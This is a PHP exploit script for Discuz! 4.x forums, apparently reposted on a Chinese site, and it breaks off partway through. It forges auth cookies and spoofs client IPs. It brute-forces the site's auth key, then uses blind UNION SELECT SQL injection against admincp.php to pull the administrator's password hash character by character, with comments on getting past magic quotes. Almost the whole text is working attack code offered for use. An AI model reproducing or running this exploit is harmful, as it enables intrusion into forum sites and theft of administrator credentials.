Discuz! 4.x SQL injection / admin credentials disclosure exp(3)


$tt="";for ($i=0; $i<=255; $i++){$tt.=chr($i);}
while (1)
{
 $discuz_auth_key=random(32);
 $packet ="GET ".$p."admincp.php?action=recyclebin HTTP/1.0\r\n";
 $packet.="CLIENT-IP: 999.999.999.999\r\n";//spoof
 $packet.="User-Agent: $agent\r\n";
 $packet.="Host: ".$host."\r\n";
 $packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$tt,"ENCODE").";\r\n";
 $packet.="Accept: text/plain\r\n";
 $packet.="Connection: Close\r\n\r\n";
 $packet.=$data;
 sendpacketii($packet);
 $html=html_entity_decode($html);
 $html=str_replace("<br />","",$html);
 $t=explode("AND m.password='",$html);
 $t2=explode("' ",$t[1]);
 $pwd_f=$t2[0];
 $t=explode("AND m.secques='",$html);
 $t2=explode("'\n",$t[1]);
 $secques_f=$t2[0];
 $t=explode("AND m.uid='",$html);
 $t2=explode("'\x0d",$t[1]);
 $uid_f=$t2[0];
 $my_string=$pwd_f."\t".$secques_f."\t".$uid_f;
 if ((strlen($my_string)==270) and (!eregi("=",$my_string))){
 break;
 }
}
$temp = authcode("suntzu\tsuntzu\t".$tt,"ENCODE");
//calculating key...
$key="";
for ($j=0; $j<32; $j++){
 for ($i=0; $i<255; $i++){
 $aa="";
 if ($j<>0){
 for ($k=1; $k<=$j; $k++){
 $aa.="a";
 }
 }
 $GLOBALS['discuz_auth_key']=$aa.chr($i);
 $t = authcode($temp,"DECODE");
 if ($t[$j]==$my_string[$j]){
 $key.=chr($i);
 }
 }
}

//echo "AUTH KEY ->".$key."\r\n";
$GLOBALS['discuz_auth_key']=$key;

echo "pwd hash (md5) -> ";
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password="";
while (!strstr($password,chr(0)))
{
 for ($i=0; $i<=255; $i++)
 {
 if (in_array($i,$chars))
 {
 //you can use every char because of base64_decode()...so this bypass magic quotes...
 //and some help by extract() to overwrite vars
 $sql="999999'/**/UNION/**/SELECT/**/1,1,1,1,1,1,1,1,1,1,1,1,(IF((ASCII(SUBSTRING(m.password,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/WHERE/**/adminid=1/**/LIMIT/**/1/*";
 $packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0\r\n";
 $packet.="User-Agent: $agent\r\n";
 $packet.="CLIENT-IP: 1.2.3.4\r\n";
 $packet.="Host: ".$host."\r\n";

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/1467.html